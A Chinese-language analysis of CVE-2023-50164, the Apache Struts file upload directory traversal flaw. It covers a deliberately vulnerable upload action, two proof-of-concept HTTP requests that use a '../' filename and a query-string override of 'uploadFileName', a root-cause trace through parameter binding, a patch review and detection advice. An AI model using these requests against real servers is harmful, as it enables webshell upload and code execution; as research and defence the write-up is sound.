漏洞描述
Apache Struts 是一个开源的、用于构建企业级Java Web应用的MVC框架。2023年12月,官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞。攻击者可以通过污染相关上传参数导致目录遍历,在具体代码环境中可能导致上传webshell,执行任意代码
影响版本
Struts 2.0.0 - Struts 2.3.37
Struts 2.5.0- Struts 2.5.32
Struts 6.0.0- Struts 6.3.0
漏洞复现
web.xml
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>
struts.xml
<package name="upload" extends="struts-default">
<action name="upload" class="org.example.UploadAction" method="doUpload">
<result name="success" type="">/WEB-INF/jsp/index.jsp</result>
</action>
</package>
UploadAction
package org.example;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.File;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
// 文件类型,为name属性值 + ContentType
private String uploadContentType;
// 文件名称,为name属性值 + FileName
private String uploadFileName;
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadContentType() {
return uploadContentType;
}
public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}
public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/") + "upload";
String realPath = path + File.separator + uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}
上传请求
POST /upload.action HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 251
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="../20231212.txt"
Content-Type: text/plain
1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
上传路径:target\struts2-archetype-starter\upload
这时候变量覆盖
POST /upload.action?uploadFileName=../1234.jsp HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
成功上传到上级目录
漏洞分析
在默认拦截器org.apache.struts2.interceptor.FileUploadInterceptor#intercept中

可以看到将文件上传的相关信息放入了Map中保存在上下文的HttpParameters对象中

既然是上下文的HttpParameters,那么应该也会存储其他的请求参数(如get post参数),调试看上下文可以看到get传参在之前已经被存入

在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters 拿出上下文的参数进行参数绑定,将参数取出后都放到了一个TreeMap中,而TreeMap存在顺序

往下走到绑定位置调试可以发现顺序是uploadFileName最后绑定(大写先)

在参数绑定的时候出现了变量覆盖,我们知道UploadFileName是会调用setUploadFileName,但是为什么uploadFileName也能调用setUploadFileName呢?
相关代码逻辑在:ognl.OgnlRuntime#capitalizeBeanPropertyName
char first = propertyName.charAt(0);
char second = propertyName.charAt(1);
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
char[] chars = propertyName.toCharArray();
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}
此时propertyName为传入的参数名,如果第一个字符小写第二个大写直接返回,否则返回时将第一个字母大写
- 也就是说只要不是第一个小写第二个大写的情况,都会自动将第一个字符大写(所以如果是xFileName的情况就将无法利用)
- 我们需要调用的是setUploadFileName
- 那么根据条件只能使用:uploadFileName或UploadFileName,而UploadFileName已经存在于map中,map键名唯一,所以最终payload为uploadFileName

参数绑定到action都会最终调用:org.example.UploadAction#setUploadFileName给UploadFileName赋值

但是根据顺序首先赋值上传文件的filename,然后赋值get传参的filename,导致变量覆盖
补丁分析

可以看到对HttpParameters删除和获取操作进行了统一小写判断
后续调用到时就解决了大小写绕过

漏洞检测
需要注意的是漏洞原因在变量覆盖上,而Action的setXXXFileName中filename是随机的,且路由是不固定的
- 所以黑盒检测不应该是单一的POC,而是一种通用检测,对所有struts2的文件上传进行filename获取,然后尝试get传参覆盖(注意条件,不能是xFileName)
- 根据数据流的灰盒检测是没问题的,因为变量覆盖之后的参数也还是污点(由用户可控),但是只有请求存在参数覆盖时才能够检测(也就是恶意请求的时候检测,类似rasp)
- 另外根据组件成分分析获取struts2版本,根据版本来判断是否存在漏洞也可行